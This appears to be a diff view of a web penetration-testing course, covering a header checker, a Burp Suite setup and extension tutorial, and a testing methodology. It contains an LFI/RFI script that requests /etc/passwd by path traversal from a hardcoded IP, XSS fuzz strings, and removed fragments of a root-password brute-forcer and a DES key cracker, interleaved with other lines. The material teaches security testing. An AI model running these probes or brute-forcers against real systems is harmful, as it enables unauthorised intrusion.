2314 | ----------------------------------------------------------------------- | |
2315 | ||
2316 | ||
2317 | ||
2318 | ||
2319 | ---------------------------Type This----------------------------------- | |
2320 | nano insecure_config_check.py | |
2321 | ||
2322 | ||
2323 | ---------------------------Paste This---------------------------------- | |
2324 | #!/usr/bin/env python3 | |
2325 | ||
2326 | # Reference: https://www.keycdn.com/blog/http-security-headers | |
2327 | ||
2328 | import requests | |
2329 | urls = open("websites.txt", "r") | |
2330 | for url in urls: | |
2331 | url = url.strip() | |
2332 | req = requests.get(url) | |
2333 | print (url, 'report:') | |
2334 | try: | |
2335 | protection_xss = req.headers['X-XSS-Protection'] | |
2336 | if protection_xss != '1; mode=block': | |
2337 | print ('X-XSS-Protection not set properly, it may be possible:', protection_xss) | |
2338 | except: | |
2339 | print ('X-XSS-Protection not set, it may be possible') | |
2340 | try: | |
2341 | options_content_type = req.headers['X-Content-Type-Options'] | |
2342 | if options_content_type != 'nosniff': | |
2343 | print ('X-Content-Type-Options not set properly:', options_content_type) | |
2344 | except: | |
2345 | print ('X-Content-Type-Options not set') | |
2346 | try: | |
2347 | transport_security = req.headers['Strict-Transport-Security'] | |
2348 | except: | |
2349 | print ('HSTS header not set properly, Man in the middle attacks is possible') | |
2350 | try: | |
2351 | content_security = req.headers['Content-Security-Policy'] | |
2352 | print ('Content-Security-Policy set:', content_security) | |
2353 | except: | |
2354 | print ('Content-Security-Policy missing') | |
2355 | ||
2356 | ----------------------------------------------------------------------- | |
2357 | ||
2358 | ||
2359 | ---------------------------Type This----------------------------------- | |
2360 | python3 insecure_config_check.py | |
2361 | ----------------------------------------------------------------------- | |
2362 | ||
2363 | ||
2364 | ||
2365 | ||
2366 | ||
2367 | ||
2368 | ||
2369 | ||
2370 | ---------------------------Type This----------------------------------- | |
2371 | nano LFI-RFI.py | |
2372 | ||
2373 | ||
2374 | ---------------------------Paste This---------------------------------- | |
2375 | ||
2376 | #!/usr/bin/env python3 | |
2377 | print("\n### PHP LFI/RFI Detector ###") | |
2378 | ||
2379 | import urllib.request, urllib.error, urllib.parse,re,sys | |
2380 | ||
2381 | TARGET = "http://45.63.104.73/showfile.php?filename=about.txt" | |
2382 | RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?" | |
2383 | TravLimit = 12 | |
2384 | ||
2385 | print("==> Testing for LFI vulns..") | |
2386 | TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION | |
2387 | for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP | |
2388 | TARGET += "../" | |
2389 | try: | |
2390 | source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST | |
2391 | except urllib.error.URLError as e: | |
2392 | print("$$$ We had an Error:",e) | |
2393 | sys.exit(0) | |
2394 | if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE | |
2395 | print("!! ==> LFI Found:",TARGET+"etc/passwd") | |
2396 | break ## BREAK LOOP WHEN VULN FOUND | |
2397 | ||
2398 | print("\n==> Testing for RFI vulns..") | |
2399 | TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION | |
2400 | try: | |
2401 | source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST | |
2402 | except urllib.error.URLError as e: | |
2403 | print("$$$ We had an Error:",e) | |
2404 | sys.exit(0) | |
2405 | if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE | |
2406 | print("!! => RFI Found:",TARGET) | |
2407 | ||
2408 | print("\nScan Complete\n") ## DONE | |
2409 | ---------------------------------------------------------------------- | |
2410 | ||
2411 | ||
2412 | ||
2413 | ||
2414 | ---------------------------Type This----------------------------------- | |
2415 | python3 LFI-RFI.py | |
2416 | ----------------------------------------------------------------------- | |
2417 | ||
2418 | ||
2419 | ######################### | |
2420 | # Setting up Burp Suite # | |
2421 | ######################### | |
2422 | Download the latest free version of FoxyProxy at https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/ | |
2423 | ||
2424 | Download the latest free version of Burp at https://portswigger.net/burp/freedownload | |
2425 | ||
2426 | Be sure to download the appropriate version for your computer system/OS. | |
2427 | ||
2428 | Download Burp Suite Community Edition v2.1.01 for Windows (64-bit), and double click on the exe to install, and desktop icon to run. | |
2429 | ||
2430 | - Click the "Proxy" tab | |
2431 | - Click the "Options" sub tab | |
2432 | - Click “Edit” in the “Proxy Listeners” section | |
2433 | - In the “Edit proxy listener” pop up select “Binding Tab” select “loopback only” | |
2434 | - In the same pop up make sure that the bind port is 8080 | |
2435 | - In the same pop up select the “Certificate” tab | |
2436 | - Ensure that burp is configured to "generate CA-signed per-host certificates" | |
2437 | ||
2438 | Open Firefox | |
2439 | - Click "Tools" | |
2440 | - Click “Options" | |
2441 | - Click the "General" tab | |
2442 | - Click the "Network settings" sub tab | |
2443 | - Click the connection "settings" button | |
2444 | - Click "manual proxy configuration" | |
2445 | set it to 127.0.0.1 port 8080 | |
2446 | check "Use this proxy server for all protocols" | |
2447 | - Remove both the "localhost, 127.0.0.1" text from the "No Proxy For:" line | |
2448 | ||
2449 | ||
2450 | Configure your browser to use Burp as its proxy, and configure Burp's proxy listener to generate CA-signed per-host certificates. | |
2451 | ||
2452 | Visit any SSL-protected URL. | |
2453 | ||
2454 | On the “This Connection is Untrusted” screen, click on “Add Exception” | |
2455 | Click "Get Certificate", then click "View". | |
2456 | ||
2457 | In the “Details” tab, select the root certificate in the tree (PortSwigger CA). | |
2458 | ||
2459 | Click "Export" and save the certificate as "BurpCert" on the Desktop. | |
2460 | ||
2461 | Close Certificate Viewer dialog and click “Cancel” on the “Add Security Exception” dialog | |
2462 | ||
2463 | Firefox | |
2464 | - Click "Tools" | |
2465 | - Click “Options" | |
2466 | - Go to "Privacy & Security" | |
2467 | - go to “Certificates” sub tab | |
2468 | - Click “View Certificates” | |
2469 | - | ----------- ############### # Day 5: Password cracking and Forensics ############### ----------- |
2469 | + | |
2470 | Click "Import" and select the certificate file that you previously saved. | |
2471 | ||
2472 | On the "Downloading Certificate" dialog, check the box "Trust this CA to identify web sites", and click "OK". | |
2473 | ||
2474 | Close all dialogs and restart Firefox | |
2475 | ||
2476 | ||
2477 | ||
2478 | ||
2479 | ||
2480 | ############################################################### | |
2481 | # Question 1: What is the process that you use when you test? # | |
2482 | ############################################################### | |
2483 | ||
2484 | Step 1: Automated Testing | |
2485 | ||
2486 | Step 1a: Web Application vulnerability scanners | |
2487 | ----------------------------------------------- | |
2488 | - Run two (2) unauthenticated vulnerability scans against the target | |
2489 | - Run two (2) authenticated vulnerability scans against the target with low-level user credentials | |
2490 | - Run two (2) authenticated vulnerability scans against the target with admin privileges | |
2491 | ||
2492 | The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix). | |
2493 | ||
2494 | A good web application vulnerability scanner comparison website is here: | |
2495 | http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html | |
2496 | ||
2497 | ||
2498 | Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue. | |
2499 | ||
2500 | When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue. | |
2501 | ||
2502 | ||
2503 | Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore. | |
2504 | ||
2505 | ||
2506 | - | import pexpect |
2506 | + | Also, be sure to save the scan results and logs. I usually provide this data to the customer. |
2507 | ||
2508 | - | print("\nYou need the pexpect module.") |
2508 | + | |
2509 | - | print("http://www.noah.org/wiki/Pexpect\n") |
2509 | + | |
2510 | Step 1b: Directory Brute Forcer | |
2511 | ------------------------------- | |
2512 | I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc). | |
2513 | ||
2514 | ||
2515 | ||
2516 | Step 2: Manual Testing | |
2517 | ||
2518 | - | print("Trying:", word) |
2518 | + | Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic). |
2519 | - | child = pexpect.spawn('/bin/su') |
2519 | + | |
2520 | - | child.expect('Password: '.encode("utf-8")) |
2520 | + | Step 2a: Spider/Scan the entire site with Burp Suite |
2521 | - | child.sendline(word) |
2521 | + | Save the spider and scan results. I usually provide this data to the customer as well. |
2522 | - | i = child.expect(['.+\s#\s', LOGIN_ERROR, pexpect.TIMEOUT], timeout=3) |
2522 | + | |
2523 | - | if i == 1: |
2523 | + | |
2524 | - | print("Incorrect Password") |
2524 | + | Step 2b: Browse through the site using the 3 question method |
2525 | Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'. | |
2526 | - | if i == 2: |
2526 | + | |
2527 | - | print("\n\t[!] Root Password:", word, i) |
2527 | + | Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value. |
2528 | - | child.sendline('id') |
2528 | + | |
2529 | - | print(child.before) |
2529 | + | Here is what I mean: |
2530 | - | child.interact() |
2530 | + | http://www.site.com/page.aspx?parametername=parametervalue |
2531 | ||
2532 | When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this: | |
2533 | ||
2534 | http://www.site.com/page.aspx?parametername=[ payload ] | |
2535 | ||
2536 | You need to ensure that you send the payload this way, and like this below: | |
2537 | ||
2538 | http://www.site.com/page.aspx?parametername=parametervalue[ payload ] | |
2539 | ||
2540 | This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them. | |
2541 | ||
2542 | ||
2543 | ||
2544 | ||
2545 | ||
2546 | ||
2547 | ||
2548 | ########################################### | |
2549 | # Question 2: How much fuzzing is enough? # | |
2550 | ########################################### | |
2551 | There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else. | |
2552 | ||
2553 | Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do. | |
2554 | ||
2555 | ||
2556 | Step 1: Ask yourself the 3 questions per page of the site. | |
2557 | ||
2558 | Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter) | |
2559 | ||
2560 | Step 3: When you load your fuzz strings - use the following decision tree | |
2561 | ||
2562 | - Are the fuzz strings causing a default error message (example 404)? | |
2563 | - If this is the case then it is most likely NOT vulnerable | |
2564 | ||
2565 | - Are the fuzz strings causing a WAF or LB custom error message? | |
2566 | - If this is the case then you need to find an encoding method to bypass | |
2567 | ||
2568 | ||
2569 | - Are the fuzz strings causing an error message that discloses the backend type? | |
2570 | - If yes, then identify DB type and find correct syntax to successfully exploit | |
2571 | - Some example strings that I use are: | |
2572 | ' | |
2573 | " | |
2574 | () <----- Take the parameter value and put it in parenthesis | |
2575 | (5-1) <----- See if you can perform an arithmetic function | |
2576 | ||
2577 | ||
2578 | - Are the fuzz strings rendering executable code? | |
2579 | - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc | |
2580 | - Some example strings that I use are: | |
2581 | <b>hello</b> | |
2582 | <u>hello</u> | |
2583 | <script>alert(123);</script> | |
2584 | <script>alert(xss);</script> | |
2585 | <script>alert('xss');</script> | |
2586 | <script>alert("xss");</script> | |
2587 | ||
2588 | ||
2589 | ||
2590 | ####################### | |
2591 | # Bug Bounty Programs # | |
2592 | ####################### | |
2593 | https://medium.com/bugbountywriteup/bug-bounty-hunting-methodology-toolkit-tips-tricks-blogs-ef6542301c65 | |
2594 | ||
2595 | ||
2596 | ############################ | |
2597 | # Bug Hunter's Methodology # | |
2598 | ############################ | |
2599 | https://www.youtube.com/watch?v=C4ZHAdI8o1w | |
2600 | https://www.youtube.com/watch?v=-FAjxUOKbdI | |
2601 | ||
2602 | ################################## | |
2603 | # Burp Extension Python Tutorial # | |
2604 | ################################## | |
2605 | ||
2606 | Reference link for this lab exercise: | |
2607 | https://laconicwolf.com/2018/04/13/burp-extension-python-tutorial/ | |
2608 | ||
2609 | ||
2610 | ||
2611 | - Initial setup | |
2612 | ||
2613 | Create a directory to store your extensions – I named mine burp-extensions | |
2614 | Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the burp-extensions folder | |
2615 | Download exceptions_fix.py (https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the burp-extensions folder – This will make debugging much easier | |
2616 | Configure Burp to use Jython – Extender > Options > Python Environment > Select file… | |
2617 | ||
2618 | The IBurpExtender module is required for all extensions, while the IMessageEditorTab and IMessageEditorTabFactory will be used to display messages in Burp’s message tab. The base64 module will be used to decode the basic authorization header, and the FixBurpExceptions and sys modules will be used for debugging, which I’ll cover shortly. | |
2619 | ||
2620 | Hook into the Burp Extender API to access all of the base classes and useful methods | |
2621 | ||
2622 | ------------------------------------------------------------------------------------------------------------------------------------------- | |
2623 | class BurpExtender(IBurpExtender, IMessageEditorTabFactory): | |
2624 | ''' Implements IBurpExtender for hook into burp and inherit base classes. | |
2625 | Implement IMessageEditorTabFactory to access createNewInstance. | |
2626 | ''' | |
2627 | def registerExtenderCallbacks(self, callbacks): | |
2628 | ||
2629 | # required for debugger: https://github.com/securityMB/burp-exceptions | |
2630 | sys.stdout = callbacks.getStdout() | |
2631 | ||
2632 | # keep a reference to our callbacks object | |
2633 | self._callbacks = callbacks | |
2634 | ||
2635 | # obtain an extension helpers object | |
2636 | # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks | |
2637 | self._helpers = callbacks.getHelpers() | |
2638 | ||
2639 | # set our extension name | |
2640 | callbacks.setExtensionName("Decode Basic Auth") | |
2641 | ||
2642 | # register ourselves as a message editor tab factory | |
2643 | callbacks.registerMessageEditorTabFactory(self) | |
2644 | ||
2645 | return | |
2646 | ||
2647 | def createNewInstance(self, controller, editable): | |
2648 | ''' Allows us to create a tab in the http tabs. Returns | |
2649 | an instance of a class that implements the iMessageEditorTab class | |
2650 | ''' | |
2651 | return DisplayValues(self, controller, editable) | |
2652 | ----------------------------------------------------------------------------------------------------------------------------------------------------- | |
2653 | ||
2654 | This class implements IBurpExtender, which is required for all extensions and must be called BurpExtender. Within the required method, registerExtendedCallbacks, the lines self._callbacks and self._helpers assign useful methods from other classes. The callbacks.setExtensionName gives the extension a name, and the callbacks.registerMessageEditorTabFactory is required to implement a new tab. The createNewInstance method is required to create a new HTTP tab. The controller parameter is an IMessageEditorController object, which the new tab can query to retrieve details about the currently displayed message. The editable parameter is a Boolean value that indicates whether the tab is editable or read-only. | |
2655 | ||
2656 | Now we can save the file, and load the extension into Burp, which will cause an error. | |
2657 | ||
2658 | Load the file: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file… | |
2659 | ||
2660 | ||
2661 | Click Next, and it should produce an ugly error. | |
2662 | ||
2663 | ||
2664 | - Implement nicer looking error messages | |
2665 | ||
2666 | To make the error messages readable, add the following to the code: | |
2667 | ||
2668 | In the registerExtenderCallbacks method: | |
2669 | ||
2670 | ----------------------------------------------------------------------------------------- | |
2671 | def registerExtenderCallbacks(self, callbacks): | |
2672 | ||
2673 | # required for debugger: https://github.com/securityMB/burp-exceptions | |
2674 | sys.stdout = callbacks.getStdout() | |
2675 | - | nano DES-Bruteforce.py |
2675 | + | ----------------------------------------------------------------------------------------- |
2676 | ||
2677 | and at the end of the script: | |
2678 | - | import base64 |
2678 | + | |
2679 | - | from Crypto.Cipher import DES |
2679 | + | ----------------------------------------------------------------------------------------- |
2680 | - | THRESH = 0.9 |
2680 | + | def createNewInstance(self, controller, editable): |
2681 | - | keyFile = open("keys.txt") |
2681 | + | ''' Allows us to create a tab in the http tabs. Returns |
2682 | - | keys = keyFile.readlines() |
2682 | + | an instance of a class that implements the iMessageEditorTab class |
2683 | - | ciph = base64.decodebytes(b'ESzjTnGMRFnfVOJwQfqtyXOI8yzAatioyufiSdE1dx02McNkZ2IvBg==\n') |
2683 | + | ''' |
2684 | return DisplayValues(self, controller, editable) | |
2685 | - | for key in keys: |
2685 | + | |
2686 | - | obj = DES.new(key[0:8].encode("utf-8"), DES.MODE_ECB) |
2686 | + | FixBurpExceptions() |
2687 | - | decodedStr = str(obj.decrypt(ciph)) |
2687 | + | ----------------------------------------------------------------------------------------- |
2688 | ||
2689 | - | foundLetters = 0 |
2689 | + | Now the errors should make more sense. To reload the extension, just click the loaded checkbox, unload the extension, and click again to load it. |
2690 | - | for eachChar in decodedStr: |
2690 | + | |
2691 | - | # print(THRESH) |
2691 | + | |
2692 | - | if eachChar.isalpha() or eachChar.isdigit() or eachChar.isspace(): |
2692 | + | We'll get another error |
2693 | - | foundLetters = foundLetters + 1 |
2693 | + | |
2694 | - | # print(float(foundLetters) / float(len(decodedStr))) |
2694 | + | The error specifically mentions that with the createNewInstance method the global name DisplayValues is not defined. This error is of course expected since we have not yet created that class, which we will do now. At this point, your script should look like this: |
2695 | - | if (float(foundLetters) / float(len(decodedStr)) > THRESH): |
2695 | + | |
2696 | - | print("DES(ciphertext," + key[0:8] + ")=", obj.decrypt(ciph)) |
2696 | + | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
2697 | ||
2698 | # Decode the value of Authorization: Basic header | |
2699 | # Author: Jake Miller (@LaconicWolf) | |
2700 | ||
2701 | from burp import IBurpExtender # Required for all extensions | |
2702 | from burp import IMessageEditorTab # Used to create custom tabs within the Burp HTTP message editors | |
2703 | - | python3 DES-Bruteforce.py |
2703 | + | from burp import IMessageEditorTabFactory # Provides rendering or editing of HTTP messages, within within the created tab |
2704 | import base64 # Required to decode Base64 encoded header value | |
2705 | from exceptions_fix import FixBurpExceptions # Used to make the error messages easier to debug | |
2706 | import sys # Used to write exceptions for exceptions_fix.py debugging | |
2707 | ||
2708 | ||
2709 | class BurpExtender(IBurpExtender, IMessageEditorTabFactory): | |
2710 | ''' Implements IBurpExtender for hook into burp and inherit base classes. | |
2711 | Implement IMessageEditorTabFactory to access createNewInstance. | |
2712 | - | nano extract-geo-location_from_image.py |
2712 | + | ''' |
2713 | def registerExtenderCallbacks(self, callbacks): | |
2714 | ||
2715 | # required for debugger: https://github.com/securityMB/burp-exceptions | |
2716 | - | import os |
2716 | + | sys.stdout = callbacks.getStdout() |
2717 | - | from PIL import Image |
2717 | + | |
2718 | - | from PIL.ExifTags import TAGS |
2718 | + | # keep a reference to our callbacks object |
2719 | self._callbacks = callbacks | |
2720 | - | for root, dir, files in os.walk(str(sys.argv[1])): |
2720 | + | |
2721 | - | for fp in files: |
2721 | + | # obtain an extension helpers object |
2722 | - | if ".JPG" in fp.upper(): |
2722 | + | # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks |
2723 | - | # open a file and extract exif |
2723 | + | self._helpers = callbacks.getHelpers() |
2724 | - | fn = root + "/" + fp |
2724 | + | |
2725 | - | try: |
2725 | + | # set our extension name |
2726 | - | i = Image.open(fn) |
2726 | + | callbacks.setExtensionName("Decode Basic Auth") |
2727 | - | info = i._getexif() |
2727 | + | |
2728 | - | exif = {} |
2728 | + | # register ourselves as a message editor tab factory |
2729 | - | for tag, value in info.items(): |
2729 | + | callbacks.registerMessageEditorTabFactory(self) |
2730 | - | decoded = TAGS.get(tag, tag) |
2730 | + | |
2731 | - | exif[decoded] = value |
2731 | + | return |
2732 | - | # from the exif data, extract gps |
2732 | + | |
2733 | - | exifGPS = exif['GPSInfo'] |
2733 | + | def createNewInstance(self, controller, editable): |
2734 | - | latData = exifGPS[2] |
2734 | + | ''' Allows us to create a tab in the http tabs. Returns |
2735 | - | lonData = exifGPS[4] |
2735 | + | an instance of a class that implements the iMessageEditorTab class |
2736 | - | # calculate the lat / long |
2736 | + | ''' |
2737 | - | latDeg = latData[0][0] / float(latData[0][1]) |
2737 | + | return DisplayValues(self, controller, editable) |
2738 | - | latMin = latData[1][0] / float(latData[1][1]) |
2738 | + | |
2739 | - | latSec = latData[2][0] / float(latData[2][1]) |
2739 | + | FixBurpExceptions() |
2740 | - | lonDeg = lonData[0][0] / float(lonData[0][1]) |
2740 | + | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
2741 | - | lonMin = lonData[1][0] / float(lonData[1][1]) |
2741 | + | |
2742 | - | lonSec = lonData[2][0] / float(lonData[2][1]) |
2742 | + | - Create a message tab and access the HTTP headers |
2743 | - | # correct the lat/lon based on N/E/W/S |
2743 | + | |
2744 | - | Lat = (latDeg + (latMin + latSec / 60.0) / 60.0) |
2744 | + | The DisplayValues class uses Burp’s IMessageEditorTab to create the custom tab, and ultimately controls the logic for whether the tab gets displayed and its message. This class requires several methods to be implemented for it to work. Here is the code that will create a tab and display all of the request headers: |
2745 | - | if exifGPS[1] == 'S': |
2745 | + | |
2746 | - | Lat = Lat * -1 |
2746 | + | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
2747 | - | Lon = (lonDeg + (lonMin + lonSec / 60.0) / 60.0) |
2747 | + | class DisplayValues(IMessageEditorTab): |
2748 | - | if exifGPS[3] == 'W': |
2748 | + | ''' Creates a message tab, and controls the logic of which portion |
2749 | - | Lon = Lon * -1 |
2749 | + | of the HTTP message is processed. |
2750 | - | # print file |
2750 | + | ''' |
2751 | - | msg = fn + " located at " + str(Lat) + "," + str(Lon) |
2751 | + | def __init__(self, extender, controller, editable): |
2752 | - | print(msg) |
2752 | + | ''' Extender is a instance of IBurpExtender class. |
2753 | - | except(): |
2753 | + | Controller is a instance of the IMessageController class. |
2754 | - | pass |
2754 | + | Editable is boolean value which determines if the text editor is editable. |
2755 | ''' | |
2756 | self._txtInput = extender._callbacks.createTextEditor() | |
2757 | self._extender = extender | |
2758 | ||
2759 | - | python3 extract-geo-location_from_image.py |
2759 | + | def getUiComponent(self): |
2760 | ''' Must be invoked before the editor displays the new HTTP message, | |
2761 | so that the custom tab can indicate whether it should be enabled for | |
2762 | that message. | |
2763 | ''' | |
2764 | return self._txtInput.getComponent() | |
2765 | ||
2766 | def getTabCaption(self): | |
2767 | ''' Returns the name of the custom tab | |
2768 | ''' | |
2769 | - | nano metadata_extraction_pdf.py |
2769 | + | return "Decoded Authorization Header" |
2770 | ||
2771 | def isEnabled(self, content, isRequest): | |
2772 | - | import warnings |
2772 | + | ''' Determines whether a tab shows up on an HTTP message |
2773 | ''' | |
2774 | - | import os |
2774 | + | if isRequest == True: |
2775 | - | import string |
2775 | + | requestInfo = self._extender._helpers.analyzeRequest(content) |
2776 | - | from PyPDF2 import PdfFileWriter, PdfFileReader |
2776 | + | headers = requestInfo.getHeaders(); |
2777 | - | warnings.filterwarnings("ignore") |
2777 | + | headers = [header for header in headers] |
2778 | self._headers = '\n'.join(headers) | |
2779 | - | for root, dir, files in os.walk(str(sys.argv[1])): |
2779 | + | return isRequest and self._headers |
2780 | - | for fp in files: |
2780 | + | |
2781 | - | if ".pdf" in fp: |
2781 | + | def setMessage(self, content, isRequest): |
2782 | - | fn = root + "/" + fp |
2782 | + | ''' Shows the message in the tab if not none |
2783 | ''' | |
2784 | - | try: |
2784 | + | if (content is None): |
2785 | self._txtInput.setText(None) | |
2786 | - | pdfFile = PdfFileReader(open(fn, "rb")) |
2786 | + | self._txtInput.setEditable(False) |
2787 | - | # print("title = %s" % (pdfFile.getDocumentInfo().title)) |
2787 | + | |
2788 | - | title = pdfFile.getDocumentInfo().title#.upper() |
2788 | + | self._txtInput.setText(self._headers) |
2789 | - | author = pdfFile.getDocumentInfo().author#.upper() |
2789 | + | return |
2790 | - | pages = pdfFile.getNumPages() |
2790 | + | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
2791 | - | print() |
2791 | + | If you are following along, paste this code after the BurpExtender class you just created, but be sure to make the FixBurpExceptions() the last line of the script. The comments explain the methods, so I’m only going to focus on the isEnabled and setMessage methods. For more info on this class, you can look at the IMessageEditorTab in the Burp Extender API. |
2792 | ||
2793 | - | if title is not None: |
2793 | + | The isEnabled method accepts message contents and the isRequest parameter (which determines whether the message is a request or a response). If the message is a request, the extender helpers extract the request headers, which for the example purposes I assign to the headers variable via a list comprehension and then assign to self._headers as a string (this needs to be a string). I then return the isRequest and self._headers. In the setMessage method, the content will be received and displayed in a new tab. If you reload this extension and make a request, you should now have a new message tab that is displaying the request headers from the requests you make. |
2794 | - | print("The title of the PDF is: ", title) |
2794 | + | |
2795 | - | if title is None: |
2795 | + | Process the headers and populate the message tab |
2796 | - | print("The PDF has no title") |
2796 | + | |
2797 | - | if author is not None: |
2797 | + | Now that we have access to the headers, you can go ahead and process the headers as you see fit. In this example, we will look for the Authorization: Basic header, and decode it if it is present. We need to make a few changes to the isEnabled and setMessage methods. |
2798 | - | print("The autor of the PDF is: ", author) |
2798 | + | |
2799 | - | if author is None: |
2799 | + | -------------------------------------------------------------------------------------------------------------------------------------- |
2800 | - | print("TThe PDF has no author") |
2800 | + | isEnabled: |
2801 | - | if pages is not None: |
2801 | + | |
2802 | - | print("The total pages of the PDF is: ", pages) |
2802 | + | |
2803 | - | if pages is None: |
2803 | + | def isEnabled(self, content, isRequest): |
2804 | - | print("The PDF has no pages") |
2804 | + | ''' Determines whether a tab shows up on an HTTP message |
2805 | - | except(): |
2805 | + | ''' |
2806 | - | pass |
2806 | + | if isRequest == True: |
2807 | requestInfo = self._extender._helpers.analyzeRequest(content) | |
2808 | headers = requestInfo.getHeaders(); | |
2809 | authorizationHeader = [header for header in headers if header.find("Authorization: Basic") != -1] | |
2810 | if authorizationHeader: | |
2811 | - | python3 metadata_extraction_pdf.py |
2811 | + | encHeaderValue = authorizationHeader[0].split()[-1] |
2812 | - | ----------------------------------------------------------------------- |
2812 | + | try: |
2813 | self._decodedAuthorizationHeader = base64.b64decode(encHeaderValue) | |
2814 | except Exception as e: | |
2815 | print e | |
2816 | self._decodedAuthorizationHeader = "" | |
2817 | else: | |
2818 | self._decodedAuthorizationHeader = "" | |
2819 | return isRequest and self._decodedAuthorizationHeader | |
2820 | ||
2821 | ---------------------------------------------------------------------------------------------------------------------------------------- | |
2822 | The changes we are making looks for the header and decodes it. Otherwise it returns an empty string. | |
2823 | ||
2824 | ---------------------------------------------------------------------------------------------------------------------------------------- | |
2825 | setMessage: | |
2826 | ||
2827 | ||
2828 | def setMessage(self, content, isRequest): | |
2829 | ''' Shows the message in the tab if not none | |
2830 | ''' | |
2831 | if (content is None): | |
2832 | self._txtInput.setText(None) | |
2833 | self._txtInput.setEditable(False) | |
2834 | else: | |
2835 | self._txtInput.setText(self._decodedAuthorizationHeader) | |
2836 | return | |
2837 | ----------------------------------------------------------------------------------------------------------------------------------------- | |
2838 | ||
2839 | The only change made here is displaying the decoded authorization header (self._txtInput.setText(self._decodedAuthorizationHeader)). | |
2840 | ||
2841 | - Test run | |
2842 | ||
2843 | Once you reload the extension, you should have a functional extension which will display a new HTTP message tab if you visit a site requiring Basic Authentication. To test it out, header over to https://httpbin.org/basic-auth/user/passwd and enter in some fake credentials: | |
2844 | ||
2845 | ---------------- | |
2846 | user: test | |
2847 | pass: test | |
2848 | ---------------- | |
2849 | ||
2850 | and in Burp request you will see under decoded authorization header test:test | |
2851 | ||
2852 | Conclusion | |
2853 | ||
2854 | Hopefully this walkthrough was a helpful introduction to writing Burp extensions. Below is the full script. If you don’t understand how it works, I urge you to play around with it, putting in print statements in various places so you can experiment. You print statements will appear in the output subtab within the extender tab. | |
2855 | ||
2856 | Full script: | |
2857 | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | |
2858 | ||
2859 | # Decode the value of Authorization: Basic header | |
2860 | # Author: Jake Miller (@LaconicWolf) | |
2861 | ||
2862 | from burp import IBurpExtender # Required for all extensions | |
2863 | from burp import IMessageEditorTab # Used to create custom tabs within the Burp HTTP message editors | |
2864 | from burp import IMessageEditorTabFactory # Provides rendering or editing of HTTP messages, within within the created tab | |
2865 | import base64 # Required to decode Base64 encoded header value | |
2866 | from exceptions_fix import FixBurpExceptions # Used to make the error messages easier to debug | |
2867 | import sys # Used to write exceptions for exceptions_fix.py debugging | |
2868 | ||
2869 | ||
2870 | class BurpExtender(IBurpExtender, IMessageEditorTabFactory): | |
2871 | ''' Implements IBurpExtender for hook into burp and inherit base classes. | |
2872 | Implement IMessageEditorTabFactory to access createNewInstance. | |
2873 | ''' | |
2874 | def registerExtenderCallbacks(self, callbacks): | |
2875 | ||
2876 | # required for debugger: https://github.com/securityMB/burp-exceptions | |
2877 | sys.stdout = callbacks.getStdout() | |
2878 | ||
2879 | # keep a reference to our callbacks object | |
2880 | self._callbacks = callbacks | |
2881 | ||
2882 | # obtain an extension helpers object | |
2883 | # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks | |
2884 | self._helpers = callbacks.getHelpers() | |
2885 | ||
2886 | # set our extension name | |
2887 | callbacks.setExtensionName("Decode Basic Auth") | |
2888 | ||
2889 | # register ourselves as a message editor tab factory | |
2890 | callbacks.registerMessageEditorTabFactory(self) | |
2891 | ||
2892 | return | |
2893 | ||
2894 | def createNewInstance(self, controller, editable): | |
2895 | ''' Allows us to create a tab in the http tabs. Returns | |
2896 | an instance of a class that implements the iMessageEditorTab class | |
2897 | ''' | |
2898 | return DisplayValues(self, controller, editable) | |
2899 | ||
2900 | FixBurpExceptions() | |
2901 | ||
2902 | ||
2903 | class DisplayValues(IMessageEditorTab): | |
2904 | ''' Creates a message tab, and controls the logic of which portion | |
2905 | of the HTTP message is processed. | |
2906 | ''' | |
2907 | def __init__(self, extender, controller, editable): | |
2908 | ''' Extender is a instance of IBurpExtender class. | |
2909 | Controller is a instance of the IMessageController class. | |
2910 | Editable is boolean value which determines if the text editor is editable. | |
2911 | ''' | |
